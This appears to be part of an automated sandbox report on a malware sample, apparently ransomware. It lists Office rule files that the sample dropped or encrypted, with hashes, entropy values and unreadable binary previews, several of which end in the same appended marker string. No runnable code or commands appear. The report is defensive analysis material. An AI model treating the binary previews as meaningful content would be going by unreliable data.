Preview:	<?xml.....WRv2.~J..,:].w..a.z.\....q(..!d'.......A>..Lq...ZU...&%.P.#.J......"b.....ZfG.l......M...Z......S.r..:...F.....`.R...+CMN.".H.%......,...f.M.?.b7.P.M12...;.8.@..K..5...."..M..\e.........VyX(.sY.nD2r....PLN...^kr.>..,.4.}.a..'lX..af.XJM.Ou7xs0TV>.r...\|...]..D.....IN.d......x.a..7.p.`...]y.E.@j..l..4*<p...S.....F..........l',.N...(......hZj...g"eN...~.........us...Q@.V...1B..l.....t+..m....=#....<..$..&....b.L$.9f0....poTo=.yx..<..z...?.9H;..t.....@.........r&...8.......\|%1A..E$...T3.LQ..\dwt........(s.B.4u1?.p._.sV9\|.h=.Y.f......e...L%0S.)...{.....y.)G.=n..q.$;..H.m..#.m..........^.........3...s-..G=.z.P._.B..\m.\|}"...;...#.,....U....u..9...Q~.7q..R.G.XmS..W.b.$.Va.w=.7}......O...4.S..Y....G..Z.j8...r_.....L..4.-D.>..)\|iP..E.4R..@2r.FFb.7......UYE..'... ...\|......J...i.dz.k.f...........].f.H.q....\|U.,\....Ag#..0.@...p..4.)....{.[...Sd:..{....5...ZJ..u.<<ecR_...{.O,...8.....zU.%.WM....I.6.);,%.)P,.'..[.."\|V}g.D.......P....`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.904676425739963
Encrypted:	false
SSDEEP:	48:efIqwFvlEyL1SrSxChHMUCnIr0pRSxM09245EtmD:mwFhYmxC1ins0pRSxMI24ut+
MD5:	A4DFF635F0184D419368FDFFEADB6AF4
SHA1:	FA077E0C3B56986A59211F037C9609D3F55C3A5B
SHA-256:	DC197232FAF6D3D453E26136BDB2DAC7020429AEE121B747240EA1D1FA61A216
SHA-512:	2F3736FF597340E675FCE336C35D0CC0B49E80345692265F8A5FE02B3AE42928BEFCFCA57756C59CEF20C5B63BC895F0412A27884BFA06874610E69BB5DB3689
Malicious:	false
Preview:	<?xml.-d...&.~.n...\%..WXnf..vV.rb.I}I...0..u.}.....".,Rt.....t.=w..4.m.=....].;..LVDp.Z.ny.7> 7..1:...WU...<./.}..j.....8.y..8...D.....Z.].WK.. 5].f.4...qA....\|..i.^.=.. ..U.?.fO.....to..X.R...kb....hVS..-1.,2.~..r.... .x^....t.>..^S8m{!Q.....t...=..a}...S.<....J<.U...../........)qp.([..m=l.b-..+.....j.{LC.6D/z...u.....hd..yC.?.....D;Z..+~.~0...r.I.)~..<...Z.O..o...R.W].nR-..Z...C..J.qFW.m..K...09z..S.#.`.RB.\..7_z.CZ..r<..s<:....0.....j._N...[..,..G......s.-c..S..v2.;..p}.g0..l......+.s.....1=y..wb1j....j...Kk..B.I...Bfgo8g..#N._o.nF.;...f.R.##.......e..pJj.....p....y.L..@.].=.......W..'..>..$.K..\.....W...e..4..H.R.R;/. ....Y)...X..'.^..{z...a.4Y.q.v5..i.....a...@C. b.p$.V.r]W.v.t...F....-=..<..q.....P..P.....r.......9.p.......t2........<....;Q....A.b.x....\.n.....{..S.Ri&.Wfw.$..+U.aX.z;Z.....K.KA..<mjt.Q..H5.m.../.W.i.h....h.MG.$.'\| V...A..).e.>.._%.9.E.......A\|>.W...n......b,..{.e.p.mS.H....lP\|r..9...H!.T.H...>._K.S..1..@8c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.766307038801251
Encrypted:	false
SSDEEP:	24:voEAEIgZsgTOwmszDHLnBs1tm0zQHF97aZvIE4b3WUsbD:wEpnNOwxrB2m4UFBayEG1mD
MD5:	1E42C8BCCE1BE39D72780D7F6AD1FC1A
SHA1:	CDD2323C8FC10D4C8FC04BB85F3B9A4F1B67D5A1
SHA-256:	1028C6DC0FB26B98C59C08FFBF51C19B52FDF3C3159E6D64C85DC2ECEDCF80ED
SHA-512:	7036B81CF1B3A55FFD30309E04060D539F0C6D1A6B98B34FBE4DD30373BA9B3C379DD5A3E9420F73565B61EF62C8DA0B2AB8EB00E50CF4FC839948C422226FEE
Malicious:	false
Preview:	<?xml.uc?..a..i.....Au.7.u.J,..wt..T.......)yc-..x.{Y....j...>...b...y...uMF....I8^..d5...9i7vPr1..a.=h.3.K...:.....EH.S.C`..9..i8.4..v~...\|.....,R..E.W...... .z.u*.F.v....[...).1.J.r...MQ...Se...s.N.........R.9./.#...... X....0.Q.8...Q...'q...g.8.u..GX,..p.7...w.4..1._..,.S...e.8.....b.t:...C~./Tc......33..@..Db.q.KS...Xi..r&[..e.....4.K.......Lx........r..%..}sl.f...v+.6.,....7'.EBh.g\|...A...).<Dkt./...wT....u[{....xh#4.._.^-6...6.............'....D.H.u.c...'.na.H.>X5..........b@l.V....Sa../.....iJ/.w.R...l2..v<....O<...,.c.)!a^.........S&.%....y?.`.,.........BAat..0..F..$Z.75....I.,d.........1]....".e._NM.Td.\......$.Q..o<...w.......?..U..P....e%...........Wt?bp{K.n.."@Cl."-.Zi9......D....B.g..........&..M1.~...~1u.%3[.z..N<.,.....F.Rq.........pN.\.q...Zq.....4......Q.O....1..O4..w.B\.cQF9..M........!.F.7.k,...,.../...\....^v. ...3........j...f8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.9203939241561265
Encrypted:	false
SSDEEP:	48:TBVElI/lqBdwBHfLt16rlHq8Sl/4AqJxk6VJ4NYJZN4vWSK/pPx9dzTJUmD:TPF/lqBdwtL36rl5nkwJ4YZyBKxPXU+
MD5:	FAC9F2F4529DD2D82B11203D50D458E2
SHA1:	A77F8C878BA3BF8D1AA0D6F48693E8443D2436B5
SHA-256:	DDEFFB85EEC625C7DAD0DC5D45544FB201A2E6136A8584587E795C3680FB470F
SHA-512:	632FB18928592FFC019CED47BA08C93FACD7A5EB1AEDE635E659016470055D95BDD56254809AEC51D44196292F0BE2F3D94B0A5FB81FF05DB885E6C768D54BBF
Malicious:	false
Preview:	<?xml..G.....Cw..T^h.\|...6M.......i-j:G,&...m.$.K....-=.uE.v.._..M.B....c._.M.........v8$....Wt........x.7r>...A. .`\|.g!...X.[C.8!\|..L.O..~...c.?E.[...3U%dm._.ld.h.L'pnh.......Ow...h8.w..]..!.=.'re...x.....t\.....e.S...j....\/c..c..o..@...xC....00X}...B>.g.....bIw).L..o..r....>.=...V.\|..k..i.H...V].......p..dQ...m:..,4..wUL.W.Un......Q..<kx..@.=E.}.X{.vk..a...;....x.<...UY.,..k.D."p..... ...}..-Y..o.3&......#a.x..gS...7.N..u....5!i.[...2.............GU.]... . }......u`?..v.......}....=B....zX..%.G.^..)...A..7.\n..(.......S...A.......I.....I....QB6XQN.h%%Nk..^...eJ.0C...`.....}D.Z..........6.R.^.......[....>.9..N.....:.H.I...v...r........3.x.e5.1-.c.W&.08#...[.....r.<.v..fm.6....;...k...;q.....?....@..$:..uW..]..gn.T.~nT..&.}.oD......d..{".......6.7...A^..S...T....o../.....%6)..R.c<w...(u._..2r....T.......V.x}.Y.g..0D.{...............z}.t;.(..c.....s.-.k.G,....`...;_....Ya...W4.%.._A.....;.c47xY...u......A.....g<.;..Nw.....U.5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.979191849317759
Encrypted:	false
SSDEEP:	192:zoFC0Cxc0EUI8s4oMQqknEb3TWWIJ4JeQkOB9fvvfvwTFoaeyuO2U+x7b4TvALX+:ZDoEs4oELiWJeQkkfvxaey923b4T4u
MD5:	3B100DB8FB6E2E58BD9332ACA9F343B5
SHA1:	45A0FAACD6BC37DA90E6D5AA68154DBCB7BFC735
SHA-256:	28F89DE859BDAD9BA7ACAFF921A6B7C047BFDA9E785970E83408006579EC3120
SHA-512:	5CB1224B5FFD4EBFE6893818BB4B11FC7A6B5B626CD450AC34F4C5DCB7239E75BB9F991652233756D0D4613F3B0232A8095328E083F9E42F4D8A0652CF107FA1
Malicious:	false
Preview:	<?xmlw..Z5=.4...!.vC&...p..y.NJ<..N[.@/n)e..H...`hQS.T..Q&..2=.........s...N....\|].m...... .o.....XU.....J.....:K.Z...f.\P'..!.G'Pn% oe....z...=.\.%GQ.ho..Q.......-7.......6....'..w....t@.O...X-5.`...Pj.av ..pO9..B.o.j,.TA.x<..<.....A2..S........e..e]..EpH.3zcV.....h..c.. 5d.L.....Y5._p.9<W]...].A(.........b./..A...h..Tp.9._JU.Q.....X.d......\..B...=hYq..MDRG+...n(.p....B.!/gT(.3.4.B5.....,T...lAp.].\.....B.....Y$....i...o..j.$..4....O.s.y.9....U.hd.....j.l"1..EP....0...S...-<......4nA.,.....?.1u...x.u...._.....0...8^#MV.S:..-}+.dj.......#C."!@}-d..:g..........Z.us.t..yJ.rGi..:..S...R.l...u.k .@MR...`..<k..x..Za../..z5Z.k.....O.......{.k...l....~.}..%D.Z.s...$L~.......v._\|1..s.e.z.....g......C..$]....W.o.C.....\.VN./..c..X.T...HM.X..u.% Q....:B.J..Vx...{g.U.&.>..f..4i...{o...+-z].h..+oM...3.l...u.......5D...Q!tj.-.....1.9X8...Y&7....Oz.kB!y.!.Q.....C..=..R;......?.....=.=......54.DD....C.'...Fp...W.7... ..I..g.{......[-.]5.....ZQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7299239430298865
Encrypted:	false
SSDEEP:	12:TWYU9AOKeZN8K+ZLaOtlMTObWppJFzUmLHk9rIAGlpWSzVJdyUb+hwhzbMbCvNFf:TWPBKeECO7WvkkH0hoQyuUbBMWvNIsbD
MD5:	B73D5EBF3047B488BA821BB5C09CEEAE
SHA1:	2B70A33F115D66A7805D86AB66459D3F5B8CCD1B
SHA-256:	DF3B1E8CD8A2B85175616DE77D8B1308E47F728CB84C6A1B85B9896E760B7025
SHA-512:	C6BA522D4F83F1BCCDA57DC1D1458DA165839517C6798B6A96EC3570A203BB94DBAFACB740C6905AE24ED5AC4483669584660500BE92F9C992C3CBDEB929FD61
Malicious:	false
Preview:	<?xml.+>4.T..]..Z.....\..:...M......)..qY.i..G..W...63..>g.R....g_....*(].Mk.9.{K....AJ..u=I.Eqc%...$......ps.F........q..<..mc~M\.N..w.x.#..g].a[..+.)...E..R$.n..<n.v...z.o...!..b%u.~th..mL.V.....\|..fB......a.0...]...4TY..@?...`._zJFC.8..+..8..7...tn..<.MP\|./.hh#.+..w.B.A....np.....9M.}..%.,...~.....%.I[.<....V[k..w....!X.r.k...c-..7....]8.M.U...D."..m...{.x.7.W `RI.R/:..J.?..zq6..........c...X.5....q......gi)C...e....=.a..MuH)c}<.-..X..]XB..T..}.(....6.NL;...!c9W2..00l.F..j..$..U,W....aL.._....}&. ..+PVM.'.....}.!\|..W..`.tS..@..t6......}.BT.M....d...#...tA...i...o..q.n{.cY..j\...w..........U.....>,-.f-k..R.nxl7..2..]4.).[I%.Za.2.$.t..D.8....Ic..0Bv._....q...e..c+..].w$H.t.XZ...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.719050459066666
Encrypted:	false
SSDEEP:	12:GHqKI8OmGThksz9HKtIq077g0FCmVMfILE0cS66rdppeV9RJWVI6NdQscii9a:PkjUhk8KtevnFCmzRZ6opwJW+YSsbD
MD5:	53A16DD247D6EA1CD90F32DE32DF7A33
SHA1:	31C67C704CD2C80799296B8796654D9E2CB1624A
SHA-256:	D77040AEC7E48880E233D7F0AB96D4B3097A05F94E95A6CD2C6FC0E82F4B218F
SHA-512:	83A29447AC7BA3EA712B07FAE8FB33100688BBE23C649A7E1257A18CD36AD052ED451F74E9AB4608E73E80818CF75E1E61B662718712CAAB0654E0113872351C
Malicious:	false
Preview:	<?xml..."..(z...*s..o..V..Q..o.P..D..r..?Wk..x.QBX.?........D.mS.8Z)..+$..O...<....r...^to...+..h.s.C/..ag.].v.#......1.......+.7H.:.]...a........a.....n@3.....J..._..6M.......=%SR..\.^....O..ri.`.....u...!..Q..9...........]..y..].-....J.N..TFlx..&/.(u.@Z3...W...c..N...2W53qr.%D+...3B>/\........W.}.dax...A..'F0C...$f..&Z.........0......K.I.....'......ed....my..ME1..k....z.KZ.W..Qx..w`Nd..Ze..\]d.\|.0.TA82.U... :........e.n.p..6.R1n....Yr......geYe.\G.60.Ua]..a'.L.e...<.....#..l.o./.....E8.#.....K]bDcr...3..,._.h.utZ.o?.Uj......L.....VM...8.{.U4M...84.....y..[..1.u....,...O4.....DU...@.?......}BS\..+.}.....Gy...`...6....\|.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.890552800562008
Encrypted:	false
SSDEEP:	48:zX3EBZ2gqHViexm9TLwpfD22QJz+rq6avbwGVUDmD:Lu6iexmhLwpf62QJeaTwSo+
MD5:	D85AFA2C870BAA102B6E94C6820E2963
SHA1:	20B74113222316B97816AB204131186A78408C79
SHA-256:	26F5D9AE6068E651D4738F654363CF11EAF80899B5C2E8CF13DF710DC8CA0F3E
SHA-512:	6B8EC0EE0F7368E20A760A33CD2248607E4E7F8502F1DC9652D41CF2367C1DF8518D688E361A4CADD6ACE8BEB99F1FFAA545C2C1AA46E0B77A09BB82683306F3
Malicious:	false
Preview:	<?xmlC..h..8...>..ydB...SP.8...=A6...}...b#.9:U...;........M.Je.a..E.......2...@..K.......wZ.3~E......?.![0"..w..=.{..le.Vs[D..... vx.M..SL.........Y.OX..g...a.W`.iR..Yw.....f......Zstbg.=.....ax.i&.!.y'u..6Qt3..b........n....:&.N..KW....vF'/..O=t.u..P....H......vcM.d..P..nb(..X..Kq..Z{...A1...'Y.UD........'q......W.O.....k.<......).#.#E._.....p...........$..26B.(..bC... %.4.4.<.S.[.q...^.Hws..UqHTc.l.k.n.+.i.....ST..<....Y.M}..E..b.n....%...........%D@&..]0.....E.T.....+ni.[K.J;p...v....\..{.l%Nf...=rW...u...../f.......}...(.O..a.A..MXRY/$."y....9.J.BD*../4..o......E`.........2.gx.V.(..L#...lq#.\|........._U~D3.?fE..._..^..x.K}....E..A..W.....l.~.).U!...I.v....t9..\|j?.F}.....%_y..~.^p....(...r...o.~....!{.ZH.._...c.\.z\|...S....H.....[.....A.L..9..........J{z.....j..<........i..:.o....a.u......7u.fD...z.wK$....}...Y.8..2Ph>c..T;v.D._.!]....:?...c$>Y..........CC. .......0.......D:...v.....).........1Y#....TQ.`.j..r.qo..^.@F.N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.750721225786113
Encrypted:	false
SSDEEP:	24:2dPiOVyLfGBTI8X4SEWtcYD6VsTp5bMutLI8sbD:Jq0+FI8XZaYDYUmD
MD5:	139AC4E34DF5C62BB2CB6474E5B33F80
SHA1:	4C53915F7090BF1AF0227F33086636AE85E77D58
SHA-256:	049DA9BE9B2347482001E0D5245A1F4E9397F3DC57D19A77497F31CE8E9317F2
SHA-512:	EF179F9B8CA54D93F219F8D2752CBC531D2FF2A086E71F5C679311A2F87D732E92E33B664922A673000005A8D2482A1F6E619CAEA7F2C785D8F3BC6645272241
Malicious:	false
Preview:	<?xml7. @....E.Q.E...cM.yrr.M..........+..i.=...0.b.P+.#Q..0..y.G.\|.-.a.....t.t(K.t..G..%f.t#\|:...[.M..k`....m.M.hn.5<.?.G.I.".b..^....?(.Z.r.Z...s./.t..YI]l.'.jW.........6....7...w....lP...d?.\........(=/..xH.}..f.s.s.h..2u.<..../ ...Y.....A..^......v.[Z>HV9..~.G...(.v..1../L..WEzIo.K..A.....,.]...:.^=x.d...^.'N}.....Q{....(..J.{T........e....n.C......b.~f...........z......c..Z..#iZ4P.U......(R.P.@/\....+....R.."BL..S...!.dwX:.R!...m.gg._.~LthP}..Z.;)..J..$i@.J.)p....M(7..\....xv.l<c.....)..1L...`..-...fwZ.;4.z....j.:p...L.m.Y..)..8A.f.V.u.BV:...R.cU..My.[.Z..._.J...E.x#.c..v.d9......v.^p.M3.{br.Fb. _v.&.......1h..W....J..0{bh.pu..).......!~w..."..\.^U......,e..Y....q....l....b.+fe3\|.....5m.p.,..lG..F@m.7..\t...b....l..z/..Ja...#>@t7..2.N...Q:..jJ.@.?.Us/8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8586844385289165
Encrypted:	false
SSDEEP:	24:WsfcfvErRCFAVbREa5IYEQtYXH6GyPEFUk39EpLsEy0mVPUMZsbD:WtfvE6AVXvEQtYqrPEa+9EpLs3zVzZmD
MD5:	1FB6544EAFBFA6A11E6DE3F49FE92B26
SHA1:	FDE207B20C6E09B92DC7104841907D214D428C91
SHA-256:	0C07B2C9860E7BB4899D5CEF438B10E3891C5257FC9E2F14C33E77E6A0B3DC66
SHA-512:	1BCDD2BB171CD94BD2C13A1320B94189C502DD662DB900FBE4158815B04E719DEE43F3892850C52E996B698D0606159E7A7721D2A9C4E6D8947D7FFAF1C2E6E6
Malicious:	false
Preview:	<?xml.N.6..{.+.....V>#.@.Nez......=f...?[....k.l=s.9.Y.T.T...iv}...u.Oz....^.3m...IJ..G.y...7%..kE....w..Gr........`..;..]%s,.....[ek..IJ..A..L.4...{...(g..Ki...o..=;....s..b4.)...qLm{arq..G.L........w.\.'....?..5.o..\$..@!..7..w....W..WBy..Z.1K..f$....1(...&N..B8.}.Q`1.`.4..5h.M.!)6Qx.~.~z......q.'..<.Lsvk...AjV.R.8><....fv.f*....<2.......z.-...M...!.4...].......d..u..Z...U'.o.;...V..H..zxP.{...CnOn...&....M.....$. ...v...o$?F.0..r.Hu....f.7.pj..~...<W.+...Y....V.Ro~.K4..F.5.=.b>qmuU.q...6...m...........\|#A.=...?/g%........!..."...1..d..hj..$3u.;9...?..%\O.;..t...A..$.}..25.i.\....o3Q@T....H../5YN`o../..V....Az..........J.2\|....$m.....!.Q`G...X}.p.J..st6...dU..h.."....#C9W..h.J.].).0.....,vjV.....'b.1....:@.."..7.A.k.....N..zjM..}I...\..V+8.-.....=.$.:..axi....h>\|.o.". X...Y$...6...u0......z........Sv1..7G.....N`.n.<bU).........-y.o.O..<...`D:.v....{..7..;.Q.:..y.A..6.....F."..^... ...^.H&....@..O..x.sKE..{..P......}.....}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.89211953957941
Encrypted:	false
SSDEEP:	24:Z22a/5pBNdvyOk9ZnSC+HtW052EIZT7IwZgEIDmHv4vF5abETg3auVJZsbD:I7fBKhrS5tW0cDZyKQGr3FdmD
MD5:	8AB0ECEF682DAAC649E9095E7C9BC52F
SHA1:	A7A4FB4A3B1EB113454CDD512844A60CF6A88E22
SHA-256:	07268C29411E40A1F3D373569C03546503BAF4057DA5054BA02B0FA6FE68FF3E
SHA-512:	F886A68EDDF463BA67544AA145C5BA37E595AE6AF44B83A6407BDF4445FE49DB97D0104DCF285A05433A242D47FD274A31B3CC9DB3B322085CD43E1A40419497
Malicious:	false
Preview:	<?xml...>3M.\|...S-.CA.,F._...."]U....<.{.....(...5,,S......./.W..r...,.1==#2..Ul......uP.m...sX0..]....Kl.A.=.\|!.x\.l....G..v]........~...T....W.N..BF...x~}2..._x$H.hq..=V@p..........}.6.....%j\...b..\|Z."....9.X..#^.!.\......v../A..}...._.`.G.......o.2X...G.5..4Q6F..N...;uz>`D...bz.d2M.P.4..)W..f...c.d.\|.d.v...&.p..c.Y.'`..`...h...g0.K....c..:.eS.I....31c....%e55iQ....8..........C1.J.[.Q.....SR.....>..`...u..k..GmI..."..,.<...L..F(..5.I.:T.j(G.iy......=.....J_...A$..a..`:IIE-.d....,........ZQ;...'.9^..n.9'..<...2K...m5....YeL.^.Zu8......=...'..^....=...a...N.D.U.....).'...HB....P..m.....r.x....l?.`.F..I.j..2........#........@.....8h.I.J2.v.yJ..%.V...).D.d..`@#8........?.(.O_..C .glV&[Y....Q....e...!.......8..l.$.yM../.x........b..~?.(.e9.8'.X.`8#@Y.G....J_..P;.&.....<l.-d?d.OJ...\....W...HE.D....lMt...+.._..-....].+..,v=c..y....#.p..:.}$6..TbjZ.mq_l..o..j.g7WX<......8..f.WFG.....A.k^..z..m....fA.!....U.L....p.&d...p:..N@..w.......K.yB+..%.[..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.9694732221513105
Encrypted:	false
SSDEEP:	192:83agEjgF7pNz/GVUt8GMrDNQgjxh2LxA+:8VEjgF7bz/CXFRYxB
MD5:	AC7CD20B2768B2283C4877DA672043BD
SHA1:	92CA913AC2F50A894059A6D0B5C3B299D7B4E8DA
SHA-256:	081D7BE8B365E5B41C79E87E250F3C2A4AD432CC37A4D24CD8FD8B119C7AD9AF
SHA-512:	DF09B3A67A8F60A77FFD43B2F1DDA05AA0B78F87C15C3F02E459072F83C4304E5F184DFACD4507654846B003DB49DB3166A19C45BEAA0ED46D2BEB377122A3A6
Malicious:	false
Preview:	<?xml.!...(K)x..<..?...a.%.d..k.@...yk.wi...~.6Ukn?.%..T.o.<D=...CQ2@.j.M)......."Hz\...(N{c ..RY..@@.!VA..".f....}.. ..,.$....xj.{A...... ..S..... ...,...)/......%I..28...,......\|I..vV.0H.....'Z...;.S..N..D...U..&z1G.....P.nF2;.hc3w&,.P...;B...&..........>...=.=u..0.5....e..wJ..ywCoXw..$.....z5.2.l.q........x.......o.D...B2..8.9B.It..l....O...@"...4.K..h!..E-..0k..y5{[.`...s$I....x..v.D0.R.yw.3`...!....$....P.+.6[.s.cG.x....3...H.PV...!.....K.s...!Q.~d.8.rh.<.oG<3w.&...+....?....I.CW.M.x........a.u...Z.u...r.V=...........a3........C.j\|.................v.f...4..r9.......{b.. =....}.L.l~..R&P....<0K.........d%....(.]..N.,j.T\....3.B..C....d...A..9.&.9u....V..Y...6..C....../^\|.XS..}.e'. ..H8.%11.1.H....p/..;......@..J)^I...h.J...}..l.!L...L....r..#.y._"I.D.....v..."..W.5..........+\.T..$l.....'.....~....TM7/.uz5..4...Bm-.Wd.......e.p.AN?.(#o....7.=1Wc.:Y.D?.m.O 1.w....?(.j...@..,P,#.O.......I..LR.../..._\|K62..&..&\.L.-....:....W.v.Y.F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.70914094984264
Encrypted:	false
SSDEEP:	12:WbThjhBFjrmbLvXBJ3CaqF1MXrSSaEhD5pzm8OwB1UTTg8BCwUQscii9a:S94fvXBRCaqjMb9PhD5ptXByTTgGsbD
MD5:	56EC090706383A839A0BEE4A79CC73AB
SHA1:	9984EA2881DA0AF2EE2B40F1786301634B1783C9
SHA-256:	2D9AD76024096FBB1A1EBA0E366873404812C22AE94E5970A56F0BD61CDD597C
SHA-512:	46588B1D81070E9B8EEBA54FC76D3CA2AC231466EE804E37C6B4270CC636957273204C993E18C440ABE3F3451DD24AC4E431AB6509C968F0B3B76858CE48E771
Malicious:	false
Preview:	<?xml'r....X.w...."......x.....z.t4...Vu..6.I...\..G.'.N...zOI.2. .\..@.........b..].ls............d.L.t._j.(Q<..L.m..P...m~DU..m....fr..E.C....L.!.....z..w.^{."..4..@E..y...Q.....\|........\.G.....j....L....%"..t .w..>c.J.J.........D../#p....h..{.....4..p..r..zq..h.....y..g....r..\|.X.D_...*(d..tL.hw...A.2..'h......$.v{...w...%.8...-:.....x...L.V!w' .H...r....Z.9j ."..>. .....6).7.,.T.G.l;eG..mi6T....I...K...`.W.[...@n~.T.@..&i.c?R.."..z......z..>(.2......J..(<..9....&P.n.R.4{.1 ..m..V..}$..l ...R......N+.k.....V........S&.iD.H...S..2 .p.GA.E...E.i<.Bt.S.1.+i.....r.Sc........gfmQ..2?..'......q.&.8.d.(..."...~....<.}+g..XP.d."..>....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.844469489084794
Encrypted:	false
SSDEEP:	24:8D37tlWoXvJbyoMuIwA76DVzivYnBrN0lViAxfSLJ1BPSFt8Oj+YRzgsbD:8L7tlJhbyJluxivu8FxfS3Mt8SZRsmD
MD5:	F68CB22CF809E7C89FE144AFDC0BE986
SHA1:	D5BC001FCA272ED86077841132C133915B0A74F0
SHA-256:	EF00EBE8F0E5D7E7CB91DD9D57AAD5F6DF4B431E040AC39A565F62156159CD52
SHA-512:	193AFDD3B295EE7B50C173818E30BA33901062CE77134B24E43EDC6783DCE65A79AC1145EDDFB5C9FC8B05A82F7664E5039B90B0DC8C2EE9A806934273314F8B
Malicious:	false
Preview:	<?xmlF0.V.GY!\.d7...]o.=.4......R..{=>.u.0..Wz..v./Lv.....hO.hy......_B.F..Hg.4u.>/@t..\......fj..3....6.^MK..IZ..?......\..f0....Z.hL.G.V.Bmm1..C....b=...+d..)...\..Z.m).....x..t..5..5&>f<A......`..f................F...e..W...Qj`L...O.7.Wj...h........J.>.X...T.#..j.r.Ol..c.R...>..2.k..)]...W.........$.i_..n....N..4.g.8.K.\i.."6.y...z.{...81.o.......t.:r. ..v0.C..........:.<R.g....].i$p~d...U....!G.LV.G....q.2.\./.,..+.bU...~P.1..../.H....z..\|QI....tD..p.....X....p.G..$.V...r....z../.#.F..>.`.A..FY..<..E'^..#2\.H..{..+...yQ.c..R..f0.?...l.\.{.d..~.........s.....8.~.wC.r..q1.l.).9V../Ki..........!......z..<.........G.. L.F.8v_...C'Z.d.mWS.$Yv.J...h...4m..-".>..s.g.....cAH.._..B..(_..Z}..>J".d......K....o.....k..(..g.....~aG..P......K?.eF.@.{a......b.Y%P.x.n...y....6zXr.H..."}[C..........1.G...~X.Fod..v.4.]6.)...5..Cb>.&d(....j.m..\|.,...-.S...g.....^~.Cn&..=.h @vM3../}.g.5..i'....W._Y...L..cD*.J.?V.O...{. ........\.~.$....i+X..uJP.p...R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.949388132694585
Encrypted:	false
SSDEEP:	96:lkg2/0a6jVsdt3pt5PN1Q49F4VIS9ghNsL5CgYQwHVO+:lq/t5PN1Q46ISKz0DfF+
MD5:	7BBBF926BE34A497EA2F0A0D1F8F7C3C
SHA1:	31C75D0033601AE61D951CD826F9F546F21E6063
SHA-256:	5F188B4731DC8D66E40CCCE41CDEA5CA6B6728541BF17BE833D8FE63F911E42F
SHA-512:	12C22AF891D41EE47BFB818C09B2A1204FB118FBE6E6EB9BF1F39964267AABAC43029DD3415E37ADEB7B5CA7A58E6D9D85D03259882159A37E5F1FF2CC0245DE
Malicious:	false
